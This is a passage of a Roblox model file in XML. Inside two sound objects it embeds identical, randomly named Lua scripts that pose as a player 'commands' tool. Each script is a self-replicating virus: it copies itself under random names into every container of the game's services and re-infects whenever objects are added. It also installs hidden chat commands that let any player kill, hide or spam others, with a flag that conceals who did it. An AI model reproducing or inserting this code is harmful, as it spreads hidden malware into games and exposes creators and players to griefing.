						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX772">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">0t65</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX773">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=7746419</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX774">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">orbxa</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX775">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">1hfcybmz</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX776">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
